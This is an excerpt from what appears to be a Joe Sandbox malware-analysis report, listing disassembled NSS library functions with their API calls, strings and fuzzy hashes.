PR_Unlock.NSS3(?), ref: 6CB930EC
TlsGetValue.KERNEL32 ref: 6CB9310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB93124
PR_Unlock.NSS3(?), ref: 6CB9314C

Part of subcall function 6CB79180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CBA379E,?,6CB79568,00000000,?,6CBA379E,?,00000001,?), ref: 6CB7918D
Part of subcall function 6CB79180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CBA379E,?,6CB79568,00000000,?,6CBA379E,?,00000001,?), ref: 6CB791A0

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

PR_SetError.NSS3(00000000,00000000), ref: 6CB9316D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 8d2c80b0196e8ede1e87995a415e45746c2929766892c95a4f5c674382db77dc
Instruction ID: 1e89abc348180e4ce5d29826b212c5ab0c17567fe708847a9e9596969492e403
Opcode Fuzzy Hash: 8d2c80b0196e8ede1e87995a415e45746c2929766892c95a4f5c674382db77dc
Instruction Fuzzy Hash: 70F19DB5D006599FDF00DFA4E888B9DBBB4FF0A318F144168EC19A7711E731A895CB92

Function 6CB8AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CB8AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB8AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB8AF83

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB8AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CB8AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CB8AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CB8AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CB8B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CB8B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CB8B041

Strings

ulParameterLen = 0x%p, xrefs: 6CB8AFD4
pulSignatureLen = 0x%p, xrefs: 6CB8B03C
(CK_INVALID_HANDLE), xrefs: 6CB8AF7C
C_SignMessage, xrefs: 6CB8AF41
hSession = 0x%x, xrefs: 6CB8AF5E, 6CB8AF6E
pData = 0x%p, xrefs: 6CB8AFEF
pSignature = 0x%p, xrefs: 6CB8B023
pParameter = 0x%p, xrefs: 6CB8AFB9
ulDataLen = %d, xrefs: 6CB8B00A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 4f09079feb3cb1be1d83ed974ed4e89fc99d1fa2ead6acb5fdb7f2aaec98f4e0
Instruction ID: e03333d6918e6193ce8d752df330dabb9c36e42403c639b78d12cc5de9d9b94e
Opcode Fuzzy Hash: 4f09079feb3cb1be1d83ed974ed4e89fc99d1fa2ead6acb5fdb7f2aaec98f4e0
Instruction Fuzzy Hash: 4C41B875602184AFDB10DF94DD98F8E7BB6EB4230EF084024F508BBA51E730D859CBA9

Function 6CB79FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CB79FBE

Part of subcall function 6CB52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB52F0A
Part of subcall function 6CB52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB52F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB7A015

Part of subcall function 6CB91940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CB9563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CB9195C
Part of subcall function 6CB91940: EnterCriticalSection.KERNEL32(?,?,6CB9563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CB6EAC5,00000001), ref: 6CB91970
Part of subcall function 6CB91940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CB6EAC5,00000001,?,6CB6CE9B,00000001,6CB6EAC5), ref: 6CB919A0

PL_FreeArenaPool.NSS3(?), ref: 6CB7A067
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB7A055

Part of subcall function 6CAD4C70: TlsGetValue.KERNEL32(?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4C97
Part of subcall function 6CAD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CB0
Part of subcall function 6CAD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAD3921,6CCB14E4,6CC1CC70), ref: 6CAD4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7A07E
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB7A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CB7A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CB7A0CF
PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB7A12E
PL_FreeArenaPool.NSS3(?), ref: 6CB7A140
PL_FinishArenaPool.NSS3(?), ref: 6CB7A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7A158
PL_FinishArenaPool.NSS3(?), ref: 6CB7A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CB7A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB7A1B2
free.MOZGLUE(00000000), ref: 6CB7A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CB7A1D6

Part of subcall function 6CB955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CB6EAC5,00000001,?,6CB6CE9B,00000001,6CB6EAC5,00000003,-00000004,00000000,?,6CB6EAC5), ref: 6CB95627
Part of subcall function 6CB955E0: PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0,?,?,?,?,?,?,?,?,?,?,6CB6EAC5,00000001,?,6CB6CE9B), ref: 6CB9564F
Part of subcall function 6CB955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB6EAC5,00000001), ref: 6CB95661
Part of subcall function 6CB955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB6EAC5), ref: 6CB956AF

Strings

security, xrefs: 6CB7A00F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 8fb417234574f791f1f4f425d271ed0017d96a1c95970072c4755e5d79923f1b
Instruction ID: 7cf7885f8971fd586d657cad649323e99df0a77dc18eee24e968803c2af1a0e4
Opcode Fuzzy Hash: 8fb417234574f791f1f4f425d271ed0017d96a1c95970072c4755e5d79923f1b
Instruction Fuzzy Hash: BB51D875D402895BEB609BA49C44BAEB378EF4270CF101524EC25BBB41EB31D949CBB2

Function 6CB96CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB96910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CB96943
Part of subcall function 6CB96910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CB96957
Part of subcall function 6CB96910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CB96972
Part of subcall function 6CB96910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CB96983
Part of subcall function 6CB96910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CB969AA
Part of subcall function 6CB96910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CB969BE
Part of subcall function 6CB96910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CB969D2
Part of subcall function 6CB96910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CB969DF
Part of subcall function 6CB96910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CB96A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB96D8C
free.MOZGLUE(00000000), ref: 6CB96DC5
free.MOZGLUE(?), ref: 6CB96DD6
free.MOZGLUE(?), ref: 6CB96DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CB96E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB96E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB96E72
free.MOZGLUE(?), ref: 6CB96EA7
free.MOZGLUE(?), ref: 6CB96EC4
free.MOZGLUE(?), ref: 6CB96ED5
free.MOZGLUE(00000000), ref: 6CB96EE3
free.MOZGLUE(?), ref: 6CB96EF4
free.MOZGLUE(?), ref: 6CB96F08
free.MOZGLUE(00000000), ref: 6CB96F35
free.MOZGLUE(?), ref: 6CB96F44
free.MOZGLUE(?), ref: 6CB96F5B
free.MOZGLUE(00000000), ref: 6CB96F65

Part of subcall function 6CB96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CB9781D,00000000,6CB8BE2C,?,6CB96B1D,?,?,?,?,00000000,00000000,6CB9781D), ref: 6CB96C40
Part of subcall function 6CB96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CB9781D,?,6CB8BE2C,?), ref: 6CB96C58
Part of subcall function 6CB96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CB9781D), ref: 6CB96C6F
Part of subcall function 6CB96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CB96C84
Part of subcall function 6CB96C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CB96C96
Part of subcall function 6CB96C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CB96CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB96F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB96FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CB96FF4

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: c2bfe1af8dc94bbcb0f0e450df2e1b07851699c6123bf5e6a325b7b51671e65e
Instruction ID: fb186b726a6cc2a2390ab1462f07b6a8c52318b6560ea75cfadeed884f8e4296
Opcode Fuzzy Hash: c2bfe1af8dc94bbcb0f0e450df2e1b07851699c6123bf5e6a325b7b51671e65e
Instruction Fuzzy Hash: 92B15DB0E016999FDF40DBA5D884B9EBBB4EF0A348F140035E815E7A41E731E954CBE2

Function 6CB94C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB94C4C
EnterCriticalSection.KERNEL32(?), ref: 6CB94C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CB94CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94DB7

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

TlsGetValue.KERNEL32 ref: 6CB94DD7
EnterCriticalSection.KERNEL32(?), ref: 6CB94DEC
PR_Unlock.NSS3(?), ref: 6CB94E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CB94E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CB94E71
free.MOZGLUE(00000000), ref: 6CB94E7A
PR_Unlock.NSS3(?), ref: 6CB94EA2
TlsGetValue.KERNEL32 ref: 6CB94EC1
EnterCriticalSection.KERNEL32(?), ref: 6CB94ED6
PR_Unlock.NSS3(?), ref: 6CB94F01
free.MOZGLUE(00000000), ref: 6CB94F2A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 952735ffc835097086f161db56ca29c58ac5267ed211b54fe84e70e210e24d28
Instruction ID: a8d2aecfdeabec99c31e8479bd098d8d75338652845d5d76f0f730098ed1f183
Opcode Fuzzy Hash: 952735ffc835097086f161db56ca29c58ac5267ed211b54fe84e70e210e24d28
Instruction Fuzzy Hash: 3BB1CE75A006469FDB00EFA8E844BAE77B4FF0A318F044134E92597B11EB31E965CF92

Function 6CB9FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CB9FFB4

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CB9FFC6

Part of subcall function 6CC198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CC19946
Part of subcall function 6CC198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAD16B7,00000000), ref: 6CC1994E
Part of subcall function 6CC198D0: free.MOZGLUE(00000000), ref: 6CC1995E

PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CB9FFD6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CB9FFE6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CB9FFF6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0006
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0016
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0026
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0036
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0046
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0056
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0066
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0076
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0086
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA0096
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA00A6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA00B6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA00C6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA00D6
PR_NewLock.NSS3(?,?,6CB976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBA00E6

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: d23b0505b5ae44d4b924a58d87852284d6fb87ec79a79e1f330a0cd4ea095b26
Instruction ID: 423326955b5a5dd0f1b300a7133c1a6f348e9361e6364f2abb4e42a1ab814bf0
Opcode Fuzzy Hash: d23b0505b5ae44d4b924a58d87852284d6fb87ec79a79e1f330a0cd4ea095b26
Instruction Fuzzy Hash: 943138F0E157289E9B46DFE6C16814ABBF8FB16A88B10552AD01487F20E774014BEFDD

Function 6CBE6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CBE6BF7), ref: 6CBE6EB6

Part of subcall function 6CB41240: TlsGetValue.KERNEL32(00000040,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41267
Part of subcall function 6CB41240: EnterCriticalSection.KERNEL32(?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB4127C
Part of subcall function 6CB41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41291
Part of subcall function 6CB41240: PR_Unlock.NSS3(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CC8FC0A,6CBE6BF7), ref: 6CBE6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBE6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CBE6EFC
PR_NewLock.NSS3 ref: 6CBE6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBE6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CBE6BF7), ref: 6CBE6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CBE6BF7), ref: 6CBE6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CBE6BF7), ref: 6CBE6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CBE6BF7), ref: 6CBE6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CBE6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CBE6EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CBE6FDB
SSLKEYLOGFILE, xrefs: 6CBE6EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CBE6F4F
SSLFORCELOCKS, xrefs: 6CBE6F2B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 068a20ff991fe0e264b3d4cccea125df70ae7352cb2acd19af64caa2f0eee0c9
Instruction ID: 3ccbc0c1e85a9d2367dc9edea47c89be48f449a5c2f51f84ef719b0cfc273878
Opcode Fuzzy Hash: 068a20ff991fe0e264b3d4cccea125df70ae7352cb2acd19af64caa2f0eee0c9
Instruction Fuzzy Hash: D5A16CB2F69CC187EB40467CCD0034933B5AB8B7AAF1843A5E931D7ED6DBB1D4418246

Function 6CB65DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB65DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CB65E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CB65E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CB65E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CB65EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CB65ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CB65F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CB65F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CB65F89
free.MOZGLUE(?), ref: 6CB65FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB65FB6
